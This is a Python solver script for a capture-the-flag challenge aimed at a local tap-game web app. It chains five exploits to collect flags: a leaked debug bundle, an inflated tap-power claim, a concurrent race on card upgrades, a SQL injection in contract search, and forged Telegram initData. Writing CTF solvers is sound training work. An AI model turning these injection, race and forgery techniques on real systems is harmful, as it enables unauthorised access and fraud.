#!/usr/bin/env python3 import argparse import concurrent.futures import http.cookiejar import json import random import re import string import sys import urllib.error import urllib.parse import urllib.request FLAG_RE = re.compile(r"caplag\{[^{}]+\}") class Client: def __init__(self, base_url: str): self.base_url = base_url.rstrip("/") self.cookies = http.cookiejar.CookieJar() self.opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(self.cookies)) def cookie_header(self) -> str: return "; ".join(f"{cookie.name}={cookie.value}" for cookie in self.cookies) def request(self, method: str, path: str, body: dict | None = None, cookie: str | None = None) -> tuple[int, bytes]: data = None headers = {} if body is not None: data = json.dumps(body).encode() headers["Content-Type"] = "application/json" if cookie: headers["Cookie"] = cookie req = urllib.request.Request(self.base_url + path, data=data, headers=headers, method=method) try: with self.opener.open(req, timeout=8) as response: return response.status, response.read() except urllib.error.HTTPError as exc: return exc.code, exc.read() def json(self, method: str, path: str, body: dict | None = None, cookie: str | None = None) -> dict: status, raw = self.request(method, path, body, cookie) if status >= 400: raise RuntimeError(f"{method} {path} returned HTTP {status}: {raw[:200]!r}") return json.loads(raw.decode()) def random_name() -> str: suffix = "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10)) return f"ctf-solver-{suffix}" def authenticate(client: Client) -> str: client.json("POST", "/api/auth/telegram", {"devName": random_name()}) cookie = client.cookie_header() if not cookie: raise RuntimeError("auth did not set a session cookie") return cookie def flag_from_text(text: str) -> str: match = FLAG_RE.search(text) if not match: raise RuntimeError(f"flag not found in response: {text[:300]!r}") return match.group(0) def solve_debug_bundle(client: Client) -> str: status, raw = client.request("GET", "/api/ctf/debug-bundle.js") if status != 200: raise RuntimeError(f"debug bundle returned HTTP {status}") return flag_from_text(raw.decode()) def solve_tap_claim(client: Client) -> str: data = client.json( "POST", "/api/ctf/tap/claim", {"taps": 10, "tapPower": 100000, "comboMultiplier": 1}, ) if "flag" not in data: raise RuntimeError(f"tap claim did not return flag: {data}") return data["flag"] def solve_race_upgrade(base_url: str, attempts: int = 4) -> str: for _ in range(attempts): client = Client(base_url) cookie = authenticate(client) def upgrade_once() -> dict: worker = Client(base_url) return worker.json("POST", "/api/ctf/cards/upgrade", {}, cookie=cookie) with concurrent.futures.ThreadPoolExecutor(max_workers=8) as pool: futures = [pool.submit(upgrade_once) for _ in range(8)] for future in concurrent.futures.as_completed(futures): try: data = future.result() except Exception: continue if data.get("flag"): return data["flag"] raise RuntimeError("race upgrade did not reach target level") def solve_contract_search(client: Client) -> str: query = urllib.parse.urlencode({"q": "' OR is_hidden = true --"}) data = client.json("GET", f"/api/ctf/contracts/search?{query}") for contract in data.get("contracts", []): if contract.get("flag"): return contract["flag"] raise RuntimeError(f"hidden contract flag not found: {data}") def solve_telegram_proof(client: Client) -> str: template = client.json("GET", "/api/ctf/telegram-proof/template")["initData"] forged = template + "&ctf_role=auditor&ctf_claim=claim_hard_flag" data = client.json("POST", "/api/ctf/telegram-proof", {"initData": forged}) if not data.get("success") or not data.get("flag"): raise RuntimeError(f"telegram proof was not accepted: {data}") return data["flag"] def main() -> int: parser = argparse.ArgumentParser() parser.add_argument("url", nargs="?", default="http://127.0.0.1:18080") args = parser.parse_args() client = Client(args.url) authenticate(client) flags = [ solve_debug_bundle(client), solve_tap_claim(client), solve_race_upgrade(args.url), solve_contract_search(client), solve_telegram_proof(client), ] for flag in flags: print(flag) return 0 if __name__ == "__main__": raise SystemExit(main())